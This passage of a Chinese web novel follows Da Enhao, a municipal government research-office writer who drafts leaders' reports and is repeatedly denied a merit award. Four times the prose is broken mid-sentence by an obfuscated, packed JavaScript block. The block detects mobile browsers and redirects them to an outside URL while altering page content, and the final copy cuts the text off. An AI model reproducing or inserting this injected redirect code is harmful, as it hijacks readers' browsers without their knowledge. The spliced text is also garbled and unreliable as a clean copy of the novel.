“我看大体上行了，把电子版发我，谢谢达处长！” “达处长，你到我办公室来一下。”达恩豪刚给常吉副主任把材料写好，自己办公桌上的电话铃声响了，接起来一听，是金学盛主任打来的，找他，这样对他说道。 “达处长你是我们单位的‘快枪手’，材料写得又快又好。去年我的个人年度述职述廉报告是你写得吧，今年沈书记常市长要求半年一次考核，还要述职述廉，马上到六月你给我把今年上半个人述职述廉报告写一下，行吗？”大个眼镜金学盛主任坐着看达恩豪敲门应声进来了，就对站在这办公室房间中央的达恩豪，一边抬手递给达恩豪一支黑金刚香烟，一边又是猛夸，又是交待事情，微笑着对达恩豪这样说道。 “好的，金主任我马上去弄。”达恩豪一边赶紧掏出一次性打火机，走到金学盛主任面前，“砰”打着火，伸过去先给金学盛主任把香烟点燃了，然后再给自己也把香烟点着了，一边这样笑着对金学盛主任回答道。达恩豪那个笑和答话，简直就好像给领导下苦写领导自己应该动手写的材料，是一种莫大的荣耀似的，别人想争取都争取不上一样，乐意效劳，高兴得很，其实领导并不在意的，不会记得的，很快就忘记了，只不过是你好使唤，使你顺手了而矣。 达恩豪回到自己的办公室里，在电脑上一顿仔细地搜索，2004年和2005年研究室的班子述职述廉报告找到了，是达恩豪所写，常吉副主任这两年的述职述廉报告找到了，加上今年上半年的也是他刚写的，没错，最后又把今年初他给金学盛主任写得去年的述职述廉报告电子版文稿找出来了，和他给常吉副主任写的一样，同样的程序操作，不到三天时间就写好了。材料交给金学盛主任一看，又做了稍稍一些修改，金学盛主任说这样一改就好，这材料达恩豪共写了6页3200多字。按金学盛主任要求，打了一式五份给金学盛交给备用，并把电子版发过去给了金学盛主任。 …… “……过几天河陇省委‘一把手’要到咱们滨河市检查指导两个开发区的工作，根据市委市政府的具体安排，咱们研究室要起草完成《汇报材料》的任务，这个材料特别重要，不但代表我们研究室的水平，也代表滨河市的水平，我心里没有底，还是我主笔写，修改审核把关，达恩豪配合我，负责起草初稿，一齐负责修改，其他人一块调研，帮助找素材，校对打印稿，材料装订……”七月初，盛夏的天气已经是非常地热了。办公室通知研究人员开会，就是开写材料的会议。金学盛主任特别重视，脸色是非常地凝重，声色俱厉地对大家安排布置道。 金学盛主任发动滨河市政府研究室的全体研究人员，主要是达恩豪和他两个人加班加点干，经过两周多时间的努力，任务圆满完成了。 9. 第 9 章 第九章汇总材料 时间安排的紧凑，在滨河经济技术开发区和滨河高新技术开发区两个国家级园区，单位司机火成亮开着单位的中巴面包车，拉着金学盛和达恩豪等研究人员们，跑了整整四天时间，进企业工厂，深入建设现场，开座谈会，光从有关的三个县区，三个乡镇索要有关开发区的园区规划建设材料共好十多份，基本上吃透了全市两区四园的基本情况。 “现在的省委‘一把手’曾在咱们滨河市当过市委‘一把手’兼省委常委，对咱们市上的情况比较熟悉，不能麻痹大意，要尽力写好汇报材料，越扎实越好，不然领导会笑话的，不但是笑话咱们市政府研究室，而且还会笑话滨河市委市政府的。”金学盛主任无论是在大会小会上，还是深入开发区园区调研时，无不色厉内荏地对大家多次这样告诫道。 “省委‘一把手’视察两个开发区的工作，看了我们选得参观点，在随后召开的会上，听了市委‘一把手’做得相关工作汇报，就咱们起草的材料，给予了充分地肯定，表示非常满意，说滨河市对两区的工作规划细致，发展思路清晰，采取措施有力，进步很大，工作做得扎实，调研做得也扎实，准备工作更扎实。”省委“一把手”视察两个开发区的工作结束后，金学盛主任在市政府研究室召开的全体干部职工大会上，这样对大家总结道。 “下面有请达恩豪处长把咱们滨河市给省委‘一把手’工作汇报的材料，做个简要发介绍。”金学盛主持会议，继续这样对大家说道。 “《关于滨河开发区及园区建设情况的汇报》，共4大部分：第一部分，我市贯彻国家清理整顿开发区及园区的基本情况。一是清理整顿工作成效显著，开发区整体结构进一步优化。我市共设有各级各类开发园区24个。其中：国府院批准2个，国家部委批准4个，省政府批准4个，省有关部门批准5个，市政府批准4个，市级部门批准1个，县区批准的4个。对照国家四部委通知规定的具体标准和政策界限要求，并报国家有关部委审核认定之后，滨河市的开发区由整顿前的24个缩减为现在的6个。二是两个国家级开发区工作打开了新的局面。今年上半年，高新区实现技工贸总收入100亿元，同比增长32.57%，经济区实现技工贸总收入40.2亿元，同比增长95.38%。”达恩豪一听金学盛主任让他解读自己弄的材料，就立即脸上飞红了，有些不好意思，但很快就镇定了下来，照本宣科，看着手里拿着的材料，就罗罗唆唆地对大家这样说道。 “三是落实省委的重大部署，抓紧做好滨河石化工业科技园区和生物医药科技园区的相关工作。四是进一步统一思想，统一认识。第二部分，开发区及园区建设面临的新形势和新任务。一是以和谐发展为主线的新的发展观，要求开发区加快与外部环境实现协调和匹配。二是经济增长方式的转变，要求开发区在产业发展和协调发展模式上加快实现转变。三是跨国公司开始了新一轮全球产业布局调整，服务业向新兴市场国家转移的趋势也渐趋明显。四是随着滨河城市发展空间的逐步拓展，客观上要求滨河开发区重组功能、整合空间……”达恩豪低头盯着面前会议桌上的这份材料，两手放在材料旁边，准备随时翻页，一边认真地念，一边用眼睛余光观察会场上同事们的表情，大家都低头忙乎，有记笔记的，也有偷看手机的，还有低头不动，不是是听他发言，还是沉思什么。 “第三部分，突出重点，整合资源，全力培育六大经济增长点，为滨河乃至全省经济发展做出应有贡献。滨河开发区未来发展的总体目标是‘强化四个功能’：一是产业集聚功能——新型工业化的主要经济增长区；二是城市建设功能——城市化扩张的新城建设区；三是科技创新功能——自主创新的产业集聚区；四是对外交流功能——市场化体制的引领示范区。‘十一五’滨河开发区发展模式做到‘六个基本形成’：基本形成以产业集群为主要特征的产业发展模式；基本形成内外资并重、内资占有重要地位的投资主体模式；基本形成自主技术创新占重要地位的技术创新模式；基本形成以建设新城区为主体、适应多中心城市扩张的空间布局模式，基本形成以滨河为中心的区域性城镇体系和城乡转型模式，基本形成主要依靠体制优势和最佳服务的政策环境模式。近期工作重点是‘全力培育六大经济增长点’：全力培育‘两区四园’六大经济增长点，即重点扶持和培育滨河高新技术开发区，滨河经济技术开发区、滨河石化产业园、滨河空港循环经济产业园、滨河生物医药科技园、滨河新材料工业园。成为引领滨河经济社会全面发展的重要经济增长极。经过若干年的艰苦努力，逐步形成空间布局合理、产业布局均衡、园区功能互补、资源整合效能突出、经济发展潜能充分释放的滨河开发区建设的新局面……”达恩豪普通话说得还可以，开始还念得咬字清楚，语句通畅，阴阳顿挫，错落有致，有声有色，像个乡镇广播站的播音员，挑文章的大小标题念，重点意思和主要内容念，念着念着就感觉有点累了，就停下来咽口吐沫，歇上一两分钟再继续解读。 “（一）滨河高新技术产业开发区以扩建新区为重点，着力抓好新区扩容建设。累计完成基础设施开发配套20平方公里。技工贸总收入要以25.01%的平均速度增长，到2010年达到458亿元，比“十五”期末2005年的150亿提高2.05倍。工业总产值要以25%的平均速度增长，到2010年达到366亿元，比“十五”期末2005年的120亿元提高2.05倍。（二）滨河经济技术开发区以整区开发为重点，全面带动新城区建设。滨河经济技术开发区坚持“打好一张牌，构建两个平台，建设四大功能园区，近期抓好五件实事”。力争经济总量两年翻一番，再造一个开发区，五年翻两番，实现跨越式发展的奋斗目标。近期要以投资为主要拉动力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136218|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量，以引进和做大做强各类工业项目为主攻方向，实现区域经济快速发展，努力建成全市体制创新的示范区、外向型经济的聚集区和出口创汇的新基地。（三）滨河石化工业科技园以增加产能，延长产业链为重点，再造传统支柱产业新优势……”达恩豪停下解读这个工作汇报材料，然后伸出舌尖舔一圈有些发干的嘴皮子，这时眼睛的余光看到面前放着的茶水杯，赶紧端起来“咕咕咕”猛喝了几大口后放下，立刻又接着继续解读起这个工作汇报材料来。 “（四）滨河空港循环经济产业园以新能源汽车等骨干项目为重点，全力打造空港卫星城。(五)滨河生物医药科技园以‘两所一集团’为重点，积聚产业发展的核心力量，全力构筑产学研一体化的医药产业发展服务平台。（六）滨河新材料工业园以有色金属新材料研发生产和高等职业技术教育为重点，规划建设滨河东城区。第四部分，请求省委、省政府协调解决的几个问题。（一）理顺滨河市园区建设管理体制。（二）请求省上将滨河高新技术和经济技术开发区上缴省上的增值税、所得税、营业税，以2005年为基数,2006年至2010年5年间的增量部分,全额返还开发区。（三）请求将滨河高新技术和经济技术开发区土地有偿使用出让金省上留成部分（40%），在2006年至2010年的五年间，全额返还开发区。（四）请求省上在2006年至2010年的五年间，免收滨河高新技术和经济技术开发区的新增建设用地土地有偿使用费（28%）和耕地开垦费（30%）……”达恩豪显然是越说越气短，虽然是喋喋不休，说道了大约不到五分钟时间就结束了，但却是能省就省，能短则短，能跳就跳，能不念则不念，就把他和金学盛给省委“一把手”和省上相关部门领导们，这次来滨河调研高新区的经济技术开发区考察的汇报材料，才解读了个大概的情况。 …… “现在开个材料安排会，刚我们单位办公室接到市委市政府转发来的文件，《省政府办公厅关于配合做好省群团大会报告起草第五调研组调研工作的通知》，我先看学习了一下，要求我们研究室牵头收集十一个方面的调研内容，把相关部门单位的材料进行汇总整理，在还有不到一个月的时间内，尽快拿出专题汇报材料，我现在传达一下文件精神……办公室给每个起草人员再复印一份，自己下去认真学习，仔细琢磨。办公室和各处收集相关部门单位的专业材料，全部交给经济处达处长，我和常主任统稿，达处长整理汇总第一稿初稿……”8月初的一天，刚前面给市委“一把手”沈书记和市政府“一把手”常市长亲自上门调研，两大家两个“一把手”调研汇报会开完了，后面紧接着就开完了省委“一把手”带队调研本市两个开发区的汇报会，现在单位办公室又通知各处，在金学盛主任的办公室里，召开了市政府研究室相关人员会议，金学盛立即进行安排布置工作任务，这样对大家说道。 10. 第 10 章 第十章材料机器 “经过我们二十多天的努力，要来了市直二十个多个部门单位的二十多份素材，汇总整理，删除旧内容和不合时适的，保留好东西和实在特色的内容，补充新东西，压缩精简，提炼升华，进行反复认真地修改，形成现在这个讨论稿，为进一步完善提高，今天请大家来听取后提出修改意见建议，大家要知无不言、言无不尽。常主任你念，还是达处长念？”8月底的一天上班时间，在召开的市政府研究室全体干部会议上，金学盛主任扫一眼在座的各位同事，最后把眼光落到大个眼镜的常吉副主任和达恩豪身上，挖空心思，搜肠刮肚，又是要求，又是问询，这样对大家说道。 “《关于构建和谐社会若干问题的汇报》，滨河市政府，2006年9月。各位领导：现在，我先就有关重点问题做一汇报，调研组需要更深入、更具体了解和掌握的内容，请市上有关部门领导补充。一、关于我省构建和谐社会的基本思路、总体要求和工作着力点问题。（一）我市构建和谐社会的基本情况……（二）我市构建和谐社会的基本思路、总体要求和工作着力点……二、关于如何协调各方面利益关系，促进经济与社会、城市与乡村、人与自然协调发展问题。（一）不协调的主要表现、成因及产生的影响……（二）基层群众的反映和要求……（三）对策建议……三、关于如何进一步完善社会保障体系、扩大就业、保障低收入者的基本生活问题。积极扩大就业,完善社会保障体系,不断改善人民生活，是加快建设和谐社会的重要内容。”达恩豪正襟危坐，双手捧着一份打印稿，聚精会神，全神灌注，声音洪亮，因为是自己反复修改的，所以语句流畅，不打折啃，在那里全文照读这份给省上的汇报材料的讨论稿。 “‘十一五’期间，我们将坚持以人为本，统筹经济社会发展,逐步建立起与经济发展水平相适应的劳动就业和社会保障体系,为滨河全面建设小康社会创造和谐稳定的环境。第一，千方百计扩大就业……第二，完善社会保障体系……第三，加强劳务输转工作……第四，规范和协调各种劳动关系……第五，加快基础设施和能力建设……四、关于如何建立健全突发性事件和灾害的应急和处置机制问题。（一）滨河主要突发性事件和灾害的基本情况和特点……（二）应急管理的现状和主要做法……（三）应急管理工作的对策和建议……五、关于如何改进社会管理、强化民间矛盾的调处、化解社会矛盾、推进平安建设问题。（一）、大力推进‘平安滨河’建设……（二）积极开展农村社会矛盾纠纷排查调处……”达恩豪念稿子念得有点急，也有点累，喉咙有些不舒服，不禁“咳---咳---”用力咳嗽了两声，停事休息了几秒钟，这才又赶紧接上，照本宣科地继续读这个材料。 “六、关于如何进一步健全基层自治组织和民主管理制度，不断完善公开办事制度，努力扩大基层民主问题。（一）存在的主要困难和问题……（二）意见和建议……七、关于如何推进司法体制改革，加强法制宣传教育，实现全社会的公平与正义问题。（一）推进司法体制改革，解决涉法涉诉突出问题……（二）‘四五’普法的基本经验和‘五五’普法的目标规划……八、关于公共财政如何为构建和谐社会提供保障问题。（一）基本情况……（二）近几年来我市财政在健全和完善社会保障体系建设方面所做的主要工作及面临的主要困难和问题……九、关于贫困地区构建和谐社会的问题。（一）主要矛盾和问题……（二）贫困地区构建和谐社会的重点工作……（三）移民安置工作……十、关于民族地区构建和谐社会的问题。（一）基本情况……（二）民族宗教领域构建和谐社会的对策及建议……十一、关于和谐社会与人的道德素质建设问题。（一）基本情况……（二）存在的主要问题……（三）对策建议……”这个材料是个大材料，他们写了63页一共3万多字，达恩豪逐字逐句念完了这份材料，中间基本上没有停顿，只是到最后读完了，才放下手中的材料，喘了几口粗气，猛喝了几口茶水而矣。 这个材料，单位的其他同事在征求意见会上，也没有提出什么可资借鉴的大的修改意见建议，金学盛又要求达恩豪再细细扣扣，过两天就要去定稿后的电子版，校对好，打印五份，报市政府办公厅审定后，才算任务圆满完成了。 “何不乘这个给省委领导汇总整理汇报材料的东风，以这个汇报材料为基础，继续开发一个研究课题，我们再搞成系列化的调研成果，再出个成果。因为材料的时效性很强，所以越快越好。”达恩豪搞完了这个汇报材料，灵机一动，计上心来，心想暂时自己手头的材料也不急也不多，不能让这的机会偷偷溜走了，就顺便扩大一下战果，继续发挥连续作战精神，一生二，搞个课题研究集群化开发。 “很好，就这么办，说干就干！”达恩豪在心里盘算着，拿定了主意，成果没有出来，也不好去惊动领导，自己悄悄干吧，就这样自说自话道。 达恩豪用了两天时间，就又编撰了一个课题材料，题目是：《正确处理改革发展稳定的关系，切实维护人民群众的利益》。共写了21页12000多字。材料共分三个部分：第一部分，当前改革发展稳定中存在的突出问题和成因。第二部分，正确处理改革发展稳定关系的基本思路：促进经济持续快速协调健康发展，统筹城乡发展，建设社会主义新农村，加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136219|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快发展各项社会事业，加大生态环境保护和建设力度，加强社会主义精神文明建设，加强社会主义民主法制建设，发挥人民群众的创造活力。 材料第三部分内容是，切实维护人民群众利益的基本措施：一是坚持以人为本，统筹经济社会发展,逐步建立起与经济发展水平相适应的劳动就业和社会保障体系,为兰州全面建设小康社会创造和谐稳定的环境。二是建立应急救援指挥体系，切实加强危险源普查工作，建立信息报告和发布制度，抓好应急物资储备布点建设工作，积极开展面向全社会的宣传教育，加强应急救援队伍和专家组建设。三是大力推进“平安兰州”建设，全力抓好当前维护社会稳定的各项重点工作，逐步建立健全社会治安防控体系，进一步加强公安队伍建设，努力加强基层基础工作，实现了警务“下沉”。积极开展农村社会矛盾纠纷排查调处，进一步规范人民调解工作和“两劳”安置帮教工作。建立案件移办、督办制度。高度重视和妥善处理群众来信来访。民间矛盾纠纷调解模式由“单兵作战”向“整体联动”转变。四是完善村民自治机制，加强乡村领导班子和干部队伍建设，建立农村党员先进性教育长效机制，推行为民服务全程代理制。 五是各级党委要切实加强对法制宣传教育工作的领导，建立法制宣传教育奖惩激励机制，加强法制宣传教育队伍建设，大力开展法制宣传教育阵地建设。六是进一步改善生态环境和基础设施条件，提高贫困地区综合生产能力，以整村推进为平台，继续巩固扶贫成果，夯实稳定解决温饱的基础条件，加大劳务输转和对农民工的培训工作，实施特色产业工程，进一步加快乡镇企业发展，加大科技扶贫力度。七是积极探索发展民族经济，在民族宗教领域构建和谐社会，注意研究解决民族宗教领域出现的新情况新问题，加强对宗教群体突发事件的处理，完善宗教信息网络，建立宗教问题预警机制，制定出台针对少数民族散杂居地区的扶持政策。八是群众性精神文明创建活动做到“四个抓”、“四个结合”：抓基层，抓载体，抓阵地，抓典型，文明城市的创建活动与提升城市整体形象、改善城市面貌，创建文明行业与加强行风建设、促进行业经济发展，创建文明村镇与农村小城镇改造、农民脱贫致富，三大创建活动与其它群众性创建活动相结合，突出重点，集中精力抓好未成年人思想道德建设，切实加强诚信建设。 …… “达处长，走啊，时间到了，去考试了。”鲁希雷掖下夹着两本书，过来经济发展研究处办公室里，喊达恩豪一同去参加一年一度的干部法律考试，这几天市上其他单位都形如考试了，他知道每名副科级以上干部都得每年考一次。 11. 第 11 章 第十一章项目申报 “鲁处长走吧，‘考考老师的法宝，分分学生的命根’。”达恩豪也拿了几本考试能用得上的参考书籍，书里夹着复印的几页复习材料的试题答卷，跟着鲁希雷走出这办公室门，边走边开着玩笑，这样对鲁希雷老生常谈道。 达恩豪和鲁希雷走进会议室时，立刻就感觉到一种压抑严肃地氛围，虽然这是单位自己组织的考试，但是有市政法委法治办派员来坐镇考场，送卷，参加监考，收卷密封，带走试题档案，阅卷打分，公布成绩，都是他们搞的。 这个干部法律考试，和一年一度的公务员培训考试一样，可带参考材料，但要独立完成，不有抄袭，不能互相讨论，在几分严肃认真。达恩豪只看见大家伏案疾书，查阅参考资料，思索答题，答完了交卷，拿着自己的东西走人。 达恩豪年年参加，只有一年是出差公干，单位安排人顶考，年年考试成绩合格。其他题都好答，书上有标准答案，但是案例分析题比较难答，达恩豪最头痛的就是这种题，大多时间都耗在这上面了。 公务员培训以前是现场培训，在公务员培训中心脱产学习几天，然后集中考试一天，后来有网络了，就实行网上培训，网上考试，最少要完成80个学时的必修课听讲，并门门考试成绩合格，才算完成年度公务员培训任务。题型多是：单选，多选，填空，判断，名词解释，简答，论述题。标准答案和答题要点，大部分在网上可查到的。 达恩豪下半年的工作仍然很繁重的，研究室半年工作总结会上，下半年任务安排和金学盛主任临时抓去布置的，就有好几个材料要写。 “请经济发展研究处办理。金学盛。2006年10月××日。”10月中旬的一天，单位办公室收到市规划局的一份函件，在上附的单位收文红纸上，单位领导意见一栏里，金学盛主任这样批示道。 根据金学盛主任的安排，达恩豪利用一天多时间爬在电脑上，起草完成了《滨河市土地利用现状总体规划修编的建议》，提出了滨河市新一轮土地利用现状总体规划修编总体意见1条，具体修改意见8条，另外，对滨河市经济社会发展的定位及发展目标预测提出7条意见。写了5页2300多字，金学盛主任看了，批示“打印上报”。 达恩豪交给办公室，然后单位办公室安排人，把这份材料报送到了市规划局了。达恩豪在文件的办理结果一栏中，填上了“已办理。达恩豪。2006年10月××日。”就把这份文档退还给了单位办公室。 “达处长，商贸中心建设是今年重中之重的工作，我们研究室要在这个上多下功夫多作点文章。我的意思是借鉴几个外地先进城市的经验，结合我们滨河市的实际情况，提出我们市如何加快推进国家商贸中心建设的措施，你还有什么想法？”11月初的一天，金学盛主任打电话，把达恩豪叫到自己办公室里，坐着对坐在对面沙发上的达恩豪，又是安排又是征求意见，这样说道。 “金主任，我建议参考首都、浙杭、陕安四个城市的相关作法和措施，最好是提出三个以上的备选方案，以供市委市政府决策时筛选运用，您看这样行不行？”达恩豪听领导要征求自己的意见建议，很难得，多是领导早就谋划好，直接安排布置的，没有发言提意见建议的机会，就习惯性地举右手放脑袋上挠了一下头发，微笑着对金学盛主任这样回答道。 “行啊，你这个提议不错，达处长就按你说的干，抓紧整。”金学盛主任听了感觉达恩豪的这个想法很好的，就脸上也露出一丝笑容来，眼珠轱辘辘一转，又肯定和赞同面前人的建议，又是布置安排这项工作，对面前的属下这样回答道。 “好的，金主任我马上去弄。”达恩豪想法得到了单位领导的同意，心里也是很高兴，就这样笑着对金学盛领命道，然后赶紧走出了金学盛的办公室。 达恩豪回到经济发展研究处自己的办公室，立即爬上电脑，从网上搜集到《首都市十一五时期服务业发展规划》《浙杭市“十一五”现代服务业发展专项规划》《浙杭市加快现代服务业发展规划》《陕安市加快现代物流业发展实施方案》《陕安市加快发展现代物流业对外开放》等参考资料。潜心研读这几个其他先进城市的材料，吸取其好的思路和作法，看与滨河市的实际能否参照，或者改进后能否运用，为起草滨河市的材料打下坚实基础。 经过达恩豪一番分析研究，几番深思熟虑，多番的电脑键盘敲打，花了十几天的功夫，到了11月中旬，才陆续完成了这项工作任务。起草完成了《滨河市商贸中心建设创业工程实施意见》《滨河市商贸中心建设创业计划》包括《方案一：滨河市商贸物流“4691”工程》《方案二：滨河市服务业“249”工程》《方案三：滨河市现代物流业“226”工程》《滨河市现代服务业创业工程（计划）》，写了4页1600多字，又起草完成了《关于加快滨河现代服务业创业工程的实施意见》，写了14页7200多字。 “金主任，现在课题研究有了很好的基础，我们进行个深入研究和跟踪研究，申报个市科技局的科技发展计划课题搞，你看怎么样？”达恩豪又把滨河市的服务业相关情况摸了个门清，眉头一皱，抬手放脑袋上，又摸头发，又挠头的，就有了新的想法，主动找上金学盛的门，在领导办公室里，对面前坐着的人进行巧舌如簧的鼓动，又是建议，又是试探的，说了这样一番话。 “很好啊，我支持，达处长你去申报吧。”金学盛从自己的座椅上站起来，右手中指和食指夹着一只淡黄色长过滤嘴的“黑金刚”滨河牌香烟，猛吸一口后吐出一团的白色的浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136220|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾，又是赞同，又是安排，微笑着对达恩豪这样说道。 “金主任，我马上去弄。”达恩豪听领导肯定和同意他提的这条意见建议，虽然要多干活，但却感觉很高兴，说干就干，立即行动，就笑着向金学盛这样说完了，就赶紧走出了领导办公室。 “喂，您好！我是市政府研究的达恩豪，请问计划处的林处长在吗？”达恩豪回到经济发展研究处，坐回到自己的办公桌椅间，拉开抽屉，找出一个深蓝色磨沙皮的小厚本子，大约是32开大小，封面上写着“滨河市机关单位电话号码簿”，他打开找到一页，查上了一组电话号码，提起来办公桌上的电话机话筒，往市科技局计划处打电话。 达恩豪找到市科技局计划处林处长接电话，林处长以前搞课题申报时认识的，人们不是都说了有熟人好办事吗。听林处长讲，可以报，让达恩豪登录他们市科委的网站，再登录科技项目计划申报的程序端口，下载年度《滨河市科技发展计划项目申报书（社会发展类）》电子文档到自己的文档中，在自己的电脑上填写这份《项目申报书》，申报课题的名称是《加快滨河现代服务业发展的研究》。 这个课题申报表册填写起来不简单，达恩豪整整花了两三天时间，边琢磨边填，专门弄这个事。共13页表格，封面要填项目类别，选（1），软科学，申请单位填：滨河市政府研究室（盖章），科技主管部门填：滨河市科学技术局（盖章），项目负责人填：金学盛，联系电话：……，项目起止年限填：2007年1月1日至2007年12月31日，申报日期填：2007年1月18日。封面背面的封二，是填表说明，共六条。一、立项背景和依据……，二、研究方案……，三、研究基础……，四、主要研究人员……，五、经费预算……，六、项目合作单位意见……，七、项目申请单位法人承诺，八、审核审批意见，附表：滨河市科技计划项目信息表……这套表格共填写了3400多字。 市科技局计划处李处长说了，今年的计划项目都11月快年底了，这么迟了已报不上了，就报明年的计划项目，早点排个队，等市科技局上会时审批。达恩豪对李处长在电话里点头说“好的，谢谢！”心里其实在想，向金学盛主任再汇报商量一下，还得找人给市科技局相关领导说话，才能列上项，否则再好的课题也批不了的。 达恩豪边填这个表格，一边这样想着，市科技局就是厉害，不但有自己的单位网站，而且在官网上还带头实行网络办公，开展电子政务之先河，不亏为全滨河市科技引领的龙头部门。这套表册其实有些内容不好填，达恩豪很费神的，很费脑子，像这事达恩豪还主动揽活儿，单位其他同事都避之不及，就是因为搞课题研究很费劲，很麻烦的，往往是吃力不讨好的活儿，说心里话，都不想干这差事的。 12. 第 12 章 第十二章如此评优 达恩豪《加快滨河现代服务业发展的研究》课题报告，这个材料主要包括滨河市现代服务业发展的现状和面临的形势，加快滨河现代服务业发展的总体思路，着力打造六大产业区块，加快现代服务产业聚集，力争实现六大产业突破，全面推进现代服务业发展，基本措施和重点工作等五个部分内容，共写了13页7300多字。课题申报上去刚刚写完这个材料，单位办公室就又发下通知，各处室请将本年度的工作总结及明年的工作打算于本周五前，将一式三份书面材料和电子版报办公室和上传到单位办公室邮箱。 “才11月下旬呀，怎么就收今年的工作总结，瞎好也到12月初要也算早的了？”达恩豪感觉瘁不及防，出乎间料地太早了些，就一边心里这样犯嘀咕，一边闭嘴爬上办公桌，盯着电脑，点转鼠标敲打键盘忙碌起来。不到半天的时间，4页的材料就写出来了。 达恩豪沉浸在自我陶醉中在看《经济发展研究处2006年工作总结及明年工作打算》这份1700多字的材料，是本处的功劳，其实也是自己一年来的成绩单，实际也是达恩豪的年度个人工作总结及来年的打算，因为老处长马上退休了，处于半工作半休息状态，活儿百分之九十五以上由他一人干。 不是达恩豪不想干工作，不想写材料，而是在这个单位你干活没有回报。俗话说得好“修桥补路眼睛瞎，庙门上巴屎功劳大”，在实际中很有道理，单位上不干活少干活的老拿优秀奖金，干活多干活好的反而一次也轮不上。单位的优秀都是固定那么几个人，年年都是那几个人，谁当办公室主任谁就年年当优秀公务员，再就是领导特别看起的人，不是干活多写材料多的人，都是些老关系户了，但也是‘钉子户’，风吹不倒，雷打不动。其他人你就别想优秀了，那是“墙上挂门帘，没门”，想了那也是做梦。大家就通过各种渠道反映，就不知有没有扫到领导耳朵里去。 二十四道金牌令，都是些催收逼交的事情。到12月上旬的一天，单位办公室又通知下来了，填报一年一度的公务员考核表了。达恩豪坐在自己的办公桌椅间，爬上电脑，找出自己不久前写的《经济发展研究处2006年工作总结及明年工作打算》，挑出自己所干的工作，自己所起草的材料，用半天时间，共写了3页1400多字，就弄出了一份达恩豪《2006年个人工作总结及明年工作打算》。这份个人的工作总结一压缩，主要是把重点工作和课题材料的内容保留下来，就好填达恩豪年度公务员考核表了。 今年的工作达恩豪，又历史性地碾压了其他所有的同事，不管是老同志，还是新同志，他干得活最多，件件都不说是百分百好，但自己认为都是比较满意的，再拿重点中的重点材料这一块来说，他也是写得最多的，篇篇不说是精品名作，但也是自我感觉良好，领导金学盛都肯定通过的，弄个年度的优秀公务员那是理所当然，问心无亏的，更是名符其实的。想到这里，达恩豪脸上露出了甜蜜的微笑。 达恩豪又马上收回了笑容，天变得很快，立刻就晴转阴天。心想，自己从兰原县调到滨河市政府研究室，都五年多了，每年自己都是任劳任怨地干，加班加点地干，年年都比所有同事干得多，干得好，最起码是单位的重要工作，重大任务，尤其是大材料，重要材料，重大的课题等，都是他起草得最多，也写得最好，可年年优秀公务员都他的份，500元的奖金年年都失之交臂。前几年副秘书长主任张雪勤是他老乡，避嫌疑不给他评优秀，他理解不说，但张雪勤都走三四年了，金学盛主持工作到转正，一个优秀都不给他评，太不公平了，但愿今年再不要和上年一样重演了，黄天不负苦心人，有个好地结果。 12月中旬的一天，单位召开年终总评会，在会上，大家每个人都做了述职报告，一比较下来，达恩豪的工作有目共睹，有耳共听，又是全年干得最好干得最多，特别是材料写得最多最好的。许多同事都听了脸红，不好意思，心里羡慕这都是其次的，主要是有些同事却把羡慕没有化成学习和工作的动力，而转化成了对达恩豪的妒嫉和恨，转化成了对达恩豪的算计和陷害。 俗话说：“路不平，自会有人铲”。世上有不平事，自然就会有报打不平的人出现的。常新言，那个最后一个享受副县级待遇的处长，眼镜小个的快五十岁的社会发展研究处处长，就曾和达恩豪私下聊天时说过，这几年每年我问其他好些同事，都把票给你了，因为你干得最好，可年年你都评不上优秀，不知怎么回事，搞不清楚，成怪事了。 “……前几年评选优秀先进，大家好像是有点意见，今年选先评优大家看有什么好的建议，谁都可以发表不同意见，好的意见，大家同意就实行。”金学盛可能是听到了有人反映单位评选先进优秀的不利言论，暗箱操作继续搞不下去了，在今年的年终总评会上，想发扬一回民主，堵一堵幽幽众口，就一脸严肃，不情不愿地对与会的下属同事们这样说道。 “金主任我提个建议，不知行不行，我们可以参考正式的大会选举投票的办法和程序，选出两个检票人兼计票人，阳光评选，这样就公开公平公正了，大家肯定就没意见了。”常新言，那个最后一个享受副县级待遇的社会发展研究处处长，小个戴高度近视眼镜，头发黑油油带微卷而吹得蓬松，四十好几快五十岁的精明老男人，这时第一个发言，这样对大家说道。 “常处长，是我们单位最后一个副县级老处长，提这个建议大家同意不同意？”主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 